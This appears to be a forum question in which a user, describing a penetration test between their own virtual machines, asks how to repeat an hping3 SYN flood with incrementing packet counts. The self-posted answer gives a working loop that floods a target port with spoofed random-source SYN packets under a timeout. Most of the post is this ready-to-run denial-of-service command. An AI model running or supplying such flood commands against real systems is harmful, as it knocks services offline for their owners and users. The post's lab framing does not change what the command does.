How can I conduct Syn flood attack with incremental packet size using hping3

378 Views Asked by At

I am conducting penetration testing. I am trying to increment the packet number without manually exit outing the ping and pinging again. I tried with "sleep 5," but the ping doesn't end after 5 seconds. I have to do ^C and then the incremental command executes. Any suggestion? My host and attacker are in a separate virtual machine.

for i in {1..10000}; do sudo hping3 -c $i -d 120 -S -w 64 -p <port_number>--flood --rand-source <ip_address> --traceroute; date ; sleep 5;done

Edit: For those who are facing the same problem- use timeout For my case: for i in {1..1000}; do sudo timeout 60 hping3 -c $i -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.189.135 --tr-stop; date ; sleep 1;done.

0

There are 0 best solutions below